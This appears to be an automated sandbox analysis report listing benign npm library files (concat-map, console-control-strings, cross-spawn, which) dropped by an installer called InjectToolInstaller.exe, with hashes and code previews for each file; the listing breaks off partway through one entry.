C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\concat-map\example\map.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.745476410526044
Encrypted:	false
SSDEEP:	3:qbeUYJ8WFjujJ/jqFcfecdJGX8wo+nYgOLdYRtfvnIKv:qiEWJul+/sIMjuOLWhvnIKv
MD5:	42B2341E75E2E29012793C31222C2783
SHA1:	022A614B8D9F5CCB67B6CE1F478B1EFD7AFF298E
SHA-256:	FFD5FBDAF966B799CD9D046624BE96B48E206920E58AD52D2ED1F2BDD10E93D0
SHA-512:	CBE49B8C2C80D85A4FC3C4D6176554F5C44DF42BDD001C101D886E3C7CCD0095CBD8C97BD01FF78F3CCC459BF668F2FBCB56D2B9CFDF501D39F8D99A162FF699
Malicious:	false
Preview:	var concatMap = require('../');.var xs = [ 1, 2, 3, 4, 5, 6 ];.var ys = concatMap(xs, function (x) {. return x % 2 ? [ x - 0.1, x, x + 0.1 ] : [];.});.console.dir(ys);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\concat-map\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.541477605526791
Encrypted:	false
SSDEEP:	6:xBBK58POYSiCjrMWyNFPgapFNsxvIfQHkdh7DQLGO6BbKHqLsaSax:xBBt9SiLpNyUcpyQHkf7D7BeQsaSa
MD5:	8EF754BA23FDD37B3E8A1C52739ACE80
SHA1:	A3063F014CC693B320DBD64DE3243A79247C1E05
SHA-256:	091B65D778337599D0140B35D53C038603D1732D27C33BFE39E03871A96926B2
SHA-512:	CEC77060F95CD26AA28951DB84745D405CE8A8F45761D2AF11DC602EB75578FDDB3E0D7F45E12D1750A45ADAEC8452B648021773488DC8F49235FC75B819A5B2
Malicious:	false
Preview:	module.exports = function (xs, fn) {. var res = [];. for (var i = 0; i < xs.length; i++) {. var x = fn(xs[i], i);. if (isArray(x)) res.push.apply(res, x);. else res.push(x);. }. return res;.};..var isArray = Array.isArray \|\| function (xs) {. return Object.prototype.toString.call(xs) === '[object Array]';.};.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\concat-map\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	989
Entropy (8bit):	4.058401565623482
Encrypted:	false
SSDEEP:	24:1rcBdFUlpL++tH5aAPHQ3zPDLEvHhWJGLeEUBSdkL:1rcBdUFZabDyUJlEbkL
MD5:	85D8A674998927862B17ADEF4AA6A7B1
SHA1:	10E204A14998C9E1D13BBA6AB5243194A94D5D6A
SHA-256:	4FE5E8089B65EBFD55BB86F465BA896BA6A8E24B7B61DE1E0F420F590616B118
SHA-512:	15F5E48798DB291ADAFFF9E804FF0951A5670262BF12E2B243505E9DD64ADE246D6D8C01669FE9B709E018B1444EBF2AEF5190DB248E0D585EA825954CB131D0
Malicious:	false
Preview:	{. "name" : "concat-map",. "description" : "concatenative mapdashery",. "version" : "0.0.1",. "repository" : {. "type" : "git",. "url" : "git://github.com/substack/node-concat-map.git". },. "main" : "index.js",. "keywords" : [. "concat",. "concatMap",. "map",. "functional",. "higher-order". ],. "directories" : {. "example" : "example",. "test" : "test". },. "scripts" : {. "test" : "tape test/.js". },. "devDependencies" : {. "tape" : "~2.4.0". },. "license" : "MIT",. "author" : {. "name" : "James Halliday",. "email" : "mail@substack.net",. "url" : "http://substack.net". },. "testling" : {. "files" : "test/.js",. "browsers" : {. "ie" : [ 6, 7, 8, 9 ],. "ff" : [ 3.5, 10, 15.0 ],. "chrome" : [ 10, 22 ],. "safari" : [ 5.1 ],. "opera" : [ 12 ]. }. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\concat-map\test\map.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1075
Entropy (8bit):	4.522835462871822
Encrypted:	false
SSDEEP:	24:4/wq6+g0rGmt+dylEPlBot+dyluPlBct+6S:nScyl6lRyl0l3
MD5:	A8E1D80E4629945216DE220E4B580CF5
SHA1:	162CCE32C23628192CEF64924A1CE768AF399A4B
SHA-256:	E2A41FAD6A88AFCD0958CB9F93217AC2D62670D2A116AB7DEB2B790E8F9BC90A
SHA-512:	0D06A01E41A7578689629799290CCE3AB910A732D7003675B246C3889995188D40E9B946CA65BD9FDA738F2A8AD5D93327F7208F255BD6F41108EB903EB420D7
Malicious:	false
Preview:	var concatMap = require('../');.var test = require('tape');..test('empty or not', function (t) {. var xs = [ 1, 2, 3, 4, 5, 6 ];. var ixes = [];. var ys = concatMap(xs, function (x, ix) {. ixes.push(ix);. return x % 2 ? [ x - 0.1, x, x + 0.1 ] : [];. });. t.same(ys, [ 0.9, 1, 1.1, 2.9, 3, 3.1, 4.9, 5, 5.1 ]);. t.same(ixes, [ 0, 1, 2, 3, 4, 5 ]);. t.end();.});..test('always something', function (t) {. var xs = [ 'a', 'b', 'c', 'd' ];. var ys = concatMap(xs, function (x) {. return x === 'b' ? [ 'B', 'B', 'B' ] : [ x ];. });. t.same(ys, [ 'a', 'B', 'B', 'B', 'c', 'd' ]);. t.end();.});..test('scalars', function (t) {. var xs = [ 'a', 'b', 'c', 'd' ];. var ys = concatMap(xs, function (x) {. return x === 'b' ? [ 'B', 'B', 'B' ] : x;. });. t.same(ys, [ 'a', 'B', 'B', 'B', 'c', 'd' ]);. t.end();.});..test('undefs', function (t) {. var xs = [ 'a', 'b', 'c', 'd' ];. var ys = concatMap(xs, function () {});. t.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\console-control-strings\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	751
Entropy (8bit):	5.053913342996983
Encrypted:	false
SSDEEP:	12:yqLS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2C5ErK2PF3ew:yq+ICCtEmq6s9iOnc4PRnA+qpF3ew
MD5:	43ABBC6F9093AEA69560715033788727
SHA1:	CE0C4782BDBD720BAF4D2484E5B71728D3A943AF
SHA-256:	AF83B3CE4E592E87B4ECFA8C8CB45BC4EC26D0B3FB8F34F3687088F6928F705F
SHA-512:	467863BDEEEA29FF067FABA6A6A6E70241BEB1ABECF7DE264EBFF36B3A497E4F3E124B180560F7812FE4180447E8045827532332BAE008603B06954CC7681605
Malicious:	false
Preview:	Copyright (c) 2014, Rebecca Turner <me@re-becca.org>..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF.OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\console-control-strings\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2339
Entropy (8bit):	5.04330747016763
Encrypted:	false
SSDEEP:	48:n+gsPgBN1yFn1k4+pViVNJ5oe+WwkWQFPm4GmzbZzVyXf2vf8a6et0Tr:+g8gfwxG4+UjToxwjFeuFVyXf2vf8asr
MD5:	8842CEBEB2E33407E9FA47E41DEA0C80
SHA1:	595EC205C05580516996AA88DE64ADC088FDDD66
SHA-256:	FC557C23F6B2EFFEBC75878C7185424B2DD436DF2DF137791FDC6816CEEC0FF2
SHA-512:	CB854AED97B9CDFDBB02B987C29686DCDDA7F5DA4DE7AD3317801961D35A00F1AFA859382528CFEE9D535C004B665E253110F8D81C66D25393169A7DCD43CBD6
Malicious:	false
Preview:	'use strict'..// These tables borrowed from `ansi`..var prefix = '\x1b['..exports.up = function up (num) {. return prefix + (num \|\| '') + 'A'.}..exports.down = function down (num) {. return prefix + (num \|\| '') + 'B'.}..exports.forward = function forward (num) {. return prefix + (num \|\| '') + 'C'.}..exports.back = function back (num) {. return prefix + (num \|\| '') + 'D'.}..exports.nextLine = function nextLine (num) {. return prefix + (num \|\| '') + 'E'.}..exports.previousLine = function previousLine (num) {. return prefix + (num \|\| '') + 'F'.}..exports.horizontalAbsolute = function horizontalAbsolute (num) {. if (num == null) throw new Error('horizontalAboslute requires a column to position to'). return prefix + num + 'G'.}..exports.eraseData = function eraseData () {. return prefix + 'J'.}..exports.eraseLine = function eraseLine () {. return prefix + 'K'.}..exports.goto = function (x, y) {. return prefix + y + ';' + x + 'H'.}..exports.gotoSOL = function () {. return '\r'.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\console-control-strings\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	4.773262127478753
Encrypted:	false
SSDEEP:	12:1p115pCfNDmARNf5wKRS21RFb2We5M236akrcVHAWjV8QYObmPXAOjtQEid7KtcJ:1p115+m+SKR5Hdeh4mz2Pvr57E7hsC
MD5:	501CC4421445F05407DD447DE932F200
SHA1:	48149FD6456EB7FA73B547C26577132ED9FB15CA
SHA-256:	2DA7C4BB166DFA347305D34EEBAFAEC098A9AFEAAA26E4844736597507DBB968
SHA-512:	DA40F984963D5AD8C338D31B27273F403DDBF64C780ED0DAE697076102F2B928C9243697B5019E8FC0D7C89C8530B5B82F365B213584FDD9B655F8562D9B452E
Malicious:	false
Preview:	{. "name": "console-control-strings",. "version": "1.1.0",. "description": "A library of cross-platform tested terminal/console command strings for doing things like color and cursor positioning. This is a subset of both ansi and vt100. All control codes included work on both Windows & Unix-like OSes, except where noted.",. "main": "index.js",. "directories": {. "test": "test". },. "scripts": {. "test": "standard && tap test/*.js". },. "repository": {. "type": "git",. "url": "https://github.com/iarna/console-control-strings". },. "keywords": [],. "author": "Rebecca Turner <me@re-becca.org> (http://re-becca.org/)",. "license": "ISC",. "files": [. "LICENSE",. "index.js". ],. "devDependencies": {. "standard": "^7.1.2",. "tap": "^5.7.2". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1105
Entropy (8bit):	5.132342520731707
Encrypted:	false
SSDEEP:	24:bj9iermJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bRaJHlxE35QHOs5exm3ogF5n
MD5:	6046FFD2C9EDCD9052BB4DD794D12F95
SHA1:	F8E301FF400E9737F74E9F21BEDA3285AEF077CD
SHA-256:	AAA78451B6FECD1B9C4594C796C133C0E90CAD100372FF8BC6DE615E9EF9ADF1
SHA-512:	B1DC7A59BFF5E641506B63026B3F3FD0706A8FABC47D6A7CB9044F60F17E69BF27FAA3A1D41B0EB53DC9055B56082CDC0C0E419EB80AEDD2F6EFE7020F5F762D
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2018 Made With MOXY Lda <hello@moxy.studio>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWIS

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	4.704084838246863
Encrypted:	false
SSDEEP:	24:55Hl5I0OkvcQxSNviE7VQoE85Nzv2NNvIbHQcuBwSBcBXBGR0B3:nHl5moSNviE7Sr85NqNNvIkcu/iNIKN
MD5:	C34D5F0D4B86A2D1B828F2FB32F353D1
SHA1:	A615672EDB60FE7E09825ABA0828C836E4DD3B82
SHA-256:	B8E01CB18BA87EE1B0E5EB2EB1CE6CBB25A2BDD229F9E08671F8A10ED7E3AD35
SHA-512:	DEDD49C1EBC98A585A1A9D7C58AC4494FB9662CF87B49B69FF29A32F6AF589123A7F012C9C15E89E2334D951BB4F0968AE9EC0F35E832486B07A655CC8B86FCA
Malicious:	false
Preview:	'use strict';..const cp = require('child_process');.const parse = require('./lib/parse');.const enoent = require('./lib/enoent');..function spawn(command, args, options) {. // Parse the arguments. const parsed = parse(command, args, options);.. // Spawn the child process. const spawned = cp.spawn(parsed.command, parsed.args, parsed.options);.. // Hook into child process "exit" event to emit an error if the command. // does not exists, see: https://github.com/IndigoUnited/node-cross-spawn/issues/16. enoent.hookChildProcess(spawned, parsed);.. return spawned;.}..function spawnSync(command, args, options) {. // Parse the arguments. const parsed = parse(command, args, options);.. // Spawn the child process. const result = cp.spawnSync(parsed.command, parsed.args, parsed.options);.. // Analyze if the command does not exist, see: https://github.com/IndigoUnited/node-cross-spawn/issues/16. result.error = result.error \|\| enoent.verifyENOENTSync(result.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\lib\enoent.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1480
Entropy (8bit):	4.705295157173457
Encrypted:	false
SSDEEP:	24:Q6zB8XrZfzLTfQWekUiq9wyQBeNvI02TacyRJy9DUUuBpNNIFLUuB8N7BaJTyRKv:QyB8XxL+kUionQBeNvye/RI9D6f3IToI
MD5:	89585E0499CF3ABBEEB0C7A3892FF95F
SHA1:	B1260D1DA8CDB9402095F6E6C17EBC988D902E70
SHA-256:	0EFF3981C2F85BFAB685C8F104BC910F782FA3547FC96A62AA32EF3F64CA6DF4
SHA-512:	F18EDB66D2F6A32E003A2881D5E21EF7ABB25FF0C09F270AA5F25BFD2F9E6525BEADD5F2E5998CCD6BDCCBEAE0CD3BF5BE16BA534482183410552344A8678A0B
Malicious:	false
Preview:	'use strict';..const isWin = process.platform === 'win32';..function notFoundError(original, syscall) {. return Object.assign(new Error(`${syscall} ${original.command} ENOENT`), {. code: 'ENOENT',. errno: 'ENOENT',. syscall: `${syscall} ${original.command}`,. path: original.command,. spawnargs: original.args,. });.}..function hookChildProcess(cp, parsed) {. if (!isWin) {. return;. }.. const originalEmit = cp.emit;.. cp.emit = function (name, arg1) {. // If emitting "exit" event and exit code is 1, we need to check if. // the command exists and emit an "error" instead. // See https://github.com/IndigoUnited/node-cross-spawn/issues/16. if (name === 'exit') {. const err = verifyENOENT(arg1, parsed, 'spawn');.. if (err) {. return originalEmit.call(cp, 'error', err);. }. }.. return originalEmit.apply(cp, arguments); // eslint-disable-line pref

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\lib\parse.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3065
Entropy (8bit):	4.688322201121007
Encrypted:	false
SSDEEP:	48:qVINvLGF+glLGFxfqMXIY7GRt01N5srNkLEF7479UUgX6POhmTf:qVIVLo+gdMxfCw4qWrKLG76UUgqPOkTf
MD5:	D4B1240C21C6D584E62BEAB338824852
SHA1:	7C38291B6FA65DAD566ABCA553622681BA64A4B3
SHA-256:	0A67601365A3AE413653C8C9D3C6BFF2202861E1EB8B5D28BF46D4812A4465EA
SHA-512:	602FAD481E86D981B8DDF9FFD491496BF99705D09C2C8509782EBBF0428F4013CF3A9DE0CB67073F08121B2844612F74CD047EFF077E9440DA0A910CB1AEE8F6
Malicious:	false
Preview:	'use strict';..const path = require('path');.const resolveCommand = require('./util/resolveCommand');.const escape = require('./util/escape');.const readShebang = require('./util/readShebang');..const isWin = process.platform === 'win32';.const isExecutableRegExp = /\.(?:com\|exe)$/i;.const isCmdShimRegExp = /node_modules[\\/].bin[\\/][^\\/]+\.cmd$/i;..function detectShebang(parsed) {. parsed.file = resolveCommand(parsed);.. const shebang = parsed.file && readShebang(parsed.file);.. if (shebang) {. parsed.args.unshift(parsed.file);. parsed.command = shebang;.. return resolveCommand(parsed);. }.. return parsed.file;.}..function parseNonShell(parsed) {. if (!isWin) {. return parsed;. }.. // Detect & add support for shebangs. const commandFile = detectShebang(parsed);.. // We don't need a shell if the command filename is an executable. const needsShell = !isExecutableRegExp.test(commandFile);.. // If a shell is required, use c

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\lib\util\escape.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	4.848454065779841
Encrypted:	false
SSDEEP:	24:mLUw25TuvaHxC33HeVq3OCJKVI0naKEGKv2aWNYBdBgA:KVA5HxAwwopaXLT8Yrd
MD5:	330A3A2BB14EF45CC8CFF24D25ABAAA0
SHA1:	AF9ACD46D821F4320B95BA4D515F8C9740F9F824
SHA-256:	A7B7544B2F8C35510674B9D1B3793D55200FC1EFA65B6099F1932A2950A776A1
SHA-512:	173956B0CF5DA2004C84E12896BA7262A816E7C5D29D63014B3956F5E60E661C397E71D8CF9E64048E144D02D3F1294A9F58688179BF77F3957F6B25B2EBD418
Malicious:	false
Preview:	'use strict';..// See http://www.robvanderwoude.com/escapechars.php.const metaCharsRegExp = /([()\][%!^"`<>&\|;, ?])/g;..function escapeCommand(arg) {. // Escape meta chars. arg = arg.replace(metaCharsRegExp, '^$1');.. return arg;.}..function escapeArgument(arg, doubleEscapeMetaChars) {. // Convert to string. arg = `${arg}`;.. // Algorithm below is based on https://qntm.org/cmd.. // Sequence of backslashes followed by a double quote:. // double up all the backslashes and escape the double quote. arg = arg.replace(/(\\)"/g, '$1$1\\"');.. // Sequence of backslashes followed by the end of the string. // (which will become a double quote later):. // double up all the backslashes. arg = arg.replace(/(\\*)$/, '$1$1');.. // All other backslashes occur literally.. // Quote the whole thing:. arg = `"${arg}"`;.. // Escape meta chars. arg = arg.replace(metaCharsRegExp, '^$1');.. // Double escape meta chars if necessary. if (doubleEscape

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\lib\util\readShebang.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	549
Entropy (8bit):	4.667899791426931
Encrypted:	false
SSDEEP:	12:C8CP2AsmSiJhJkne+A0Al56brLhwzF91cC1xqHiCN9pCYw2BAt:o0ilke+APT6brLUFDH8fDPBw
MD5:	81781C2C9AAB560822D3E10C2859E1F4
SHA1:	13DBBD6FC2CD40D2B1C7417E4D946362EF6D41F6
SHA-256:	B05BA732E167FCF9A4FD67EBB4A5C28CCA4712A36376C0B0F2E4E1D37E7F18D2
SHA-512:	45877768D4AAC0233BEF65C32CBB8CB0D37151A23428F717444B2C2B71B39F1B062522D6FF8A3DC4432E3F63DF66A55AE72957EC5525C89CE10278775F862BCB
Malicious:	false
Preview:	'use strict';..const fs = require('fs');.const shebangCommand = require('shebang-command');..function readShebang(command) {. // Read the first 150 bytes from the file. const size = 150;. const buffer = Buffer.alloc(size);.. let fd;.. try {. fd = fs.openSync(command, 'r');. fs.readSync(fd, buffer, 0, size, 0);. fs.closeSync(fd);. } catch (e) { /* Empty */ }.. // Attempt to extract shebang (null is returned if not a shebang). return shebangCommand(buffer.toString());.}..module.exports = readShebang;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\lib\util\resolveCommand.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1557
Entropy (8bit):	4.564331134514327
Encrypted:	false
SSDEEP:	48:rzSFUSZkI22DgupCEdBQDrKT6OVK10hR/k7:rgZkI5DlpC4BQDrCASLM7
MD5:	1C667F7933C5981D96C7F7367F121EAD
SHA1:	09FEBAD963C1A0905C93F4A7A4E099780847A322
SHA-256:	E525FE739ABA01CF5EEE6473DF449CDDA93DF6266EFFA8EAE0FCFB9A4E6C5DE6
SHA-512:	4FBDA867587B8A6266F811F537A4A378ADC17DD4BFFC3C0F2C64C29E1CE52A0D150DE4FD68956B205E61499CB96A4CA18AC42F495369948804CCCC7CAB13C207
Malicious:	false
Preview:	'use strict';..const path = require('path');.const which = require('which');.const getPathKey = require('path-key');..function resolveCommandAttempt(parsed, withoutPathExt) {. const env = parsed.options.env \|\| process.env;. const cwd = process.cwd();. const hasCustomCwd = parsed.options.cwd != null;. // Worker threads do not have process.chdir(). const shouldSwitchCwd = hasCustomCwd && process.chdir !== undefined && !process.chdir.disabled;.. // If a custom `cwd` was specified, we need to change the process cwd. // because `which` will do stat calls but does not support a custom cwd. if (shouldSwitchCwd) {. try {. process.chdir(parsed.options.cwd);. } catch (err) {. /* Empty /. }. }.. let resolved;.. try {. resolved = which.sync(parsed.command, {. path: env[getPathKey({ env })],. pathExt: withoutPathExt ? path.delimiter : undefined,. });. } catch (e) {. / Empty */

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\node_modules\which\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\node_modules\which\bin\node-which

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	985
Entropy (8bit):	4.508094694583337
Encrypted:	false
SSDEEP:	24:yktvu/XVmv3kH8OoImeCU3FgX+jXNeyyLOOJa07NGw/ieo9W7:BdW4v3kH8FImcVgX+eLJMwUwY9W7
MD5:	AB7317A95D1F704CB183D7C438A3E890
SHA1:	5B6B3E1838316FB3F1B3B4194CDF49DB0674EB17
SHA-256:	055F0AC4EED1A1591D033D59462972968BF3483B4CC07E163589569C0FB999F0
SHA-512:	322A3FDCBDC0AB2240ACDA547ABE636D51F7F2114200491F7FC66C4353D43D37A4052DF0D32F29EDE80C8A768D312EFAE8ED28639F55C2E5A678F306A45986F9
Malicious:	false
Joe Sandbox View:	Filename: JWQgbclQK5, Detection: malicious, Browse Filename: RUN.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Preview:	#!/usr/bin/env node.var which = require("../").if (process.argv.length < 3). usage()..function usage () {. console.error('usage: which [-as] program ...'). process.exit(1).}..var all = false.var silent = false.var dashdash = false.var args = process.argv.slice(2).filter(function (arg) {. if (dashdash \|\| !/^-/.test(arg)). return true.. if (arg === '--') {. dashdash = true. return false. }.. var flags = arg.substr(1).split(''). for (var f = 0; f < flags.length; f++) {. var flag = flags[f]. switch (flag) {. case 's':. silent = true. break. case 'a':. all = true. break. default:. console.error('which: illegal option -- ' + flag). usage(). }. }. return false.})..process.exit(args.reduce(function (pv, current) {. try {. var f = which.sync(current, { all: all }). if (all). f = f.join('\n'). if (!silent). console.log(f). return pv;. } catch (e) {. return 1;. }.}, 0)).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\node_modules\which\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	4.7741694083288815
Encrypted:	false
SSDEEP:	24:C9BE94cg6bGPYEF15JG/E3Qh07P1w10pyns5W/x:CbE6DcGQEv5J53A0794Mnm
MD5:	6BCB9E5778D80EA1512A98D73D4E3C9A
SHA1:	402837C5BA60F95B309957ADC4657B8FE4FB1F05
SHA-256:	43010039ED5E89F7186960BE682B3CB5CDA5AB6CDFB06CBFD4F081CF0E7B4260
SHA-512:	4548011D1E4ED9F5D7FB5E408476A27B2A19F3BEEC5AC4A9BBDDEBC700A77FF0FB168ECC4917576A18F22D262F82649E9EC0C1242AF752A7CFA0321EA4375AAD
Malicious:	false
Preview:	{. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me)",. "name": "which",. "description": "Like which(1) unix command. Find the first instance of an executable in the PATH.",. "version": "2.0.2",. "repository": {. "type": "git",. "url": "git://github.com/isaacs/node-which.git". },. "main": "which.js",. "bin": {. "node-which": "./bin/node-which". },. "license": "ISC",. "dependencies": {. "isexe": "^2.0.0". },. "devDependencies": {. "mkdirp": "^0.5.0",. "rimraf": "^2.6.2",. "tap": "^14.6.9". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "prepublish": "npm run changelog",. "prechangelog": "bash gen-changelog.sh",. "changelog": "git add CHANGELOG.md",. "postchangelog": "git commit -m 'update changelog - '${npm_package_version}",. "postpublish": "git push origin --follow-tags". },. "files": [. "which.js",. "bin/node-which". ],. "tap": {. "check-coverage": true.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\node_modules\which\which.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3163
Entropy (8bit):	4.831420316760103
Encrypted:	false
SSDEEP:	96:HaJQfVcL9Otchj8ypEAsCfElyzuUxLAsCd9vl8kRk9:HaOfq4chw/OOyzuU9/W9vKkRk9
MD5:	2F112AC3FED09F7BC11E3F78C096E435
SHA1:	CFB29894630A310FF6D56C91EE327A076CED7179
SHA-256:	76845E1FE7851267FB7EE72B18F2D916996D330150E31E48F4657A79E9B46B5B
SHA-512:	6E5617FF8DCDACDB444A61FB55AAE7D19DD6ADDD175DC299BD20E8A6E1BF13EE105F53DAC49033D0775561714B0093A88ECD9E865BDB8DDD7BB7BBE9EF990214
Malicious:	false
Preview:	const isWindows = process.platform === 'win32' \|\|. process.env.OSTYPE === 'cygwin' \|\|. process.env.OSTYPE === 'msys'..const path = require('path').const COLON = isWindows ? ';' : ':'.const isexe = require('isexe')..const getNotFoundError = (cmd) =>. Object.assign(new Error(`not found: ${cmd}`), { code: 'ENOENT' })..const getPathInfo = (cmd, opt) => {. const colon = opt.colon \|\| COLON.. // If it has a slash, then we don't bother searching the pathenv.. // just check the file itself, and that's it.. const pathEnv = cmd.match(/\//) \|\| isWindows && cmd.match(/\\/) ? ['']. : (. [. // windows always checks the cwd first. ...(isWindows ? [process.cwd()] : []),. ...(opt.path \|\| process.env.PATH \|\|. /* istanbul ignore next: very unusual */ '').split(colon),. ]. ). const pathExtExe = isWindows. ? opt.pathExt \|\| process.env.PATHEXT \|\| '.EXE;.CMD;.BAT;.COM'. : ''. const pathExt = isWindows ? pathExtExe.split(colon) : [''].. if (isWi

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cross-spawn\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1655
Entropy (8bit):	4.791501532348459
Encrypted:	false
SSDEEP:	48:qM5LqQrzFayUUyc7W1Adk8s6sQezyNRrVz2ipkphpcLgAIDFLwf:J1cRU/7W1A68s6qzyNRrVz2ConcL4sf
MD5:	A8F3FDD9E997785A7B5C4BD987C2516E
SHA1:	004B63F47AA3E8ED948E0B787B6379B58A1AE10B
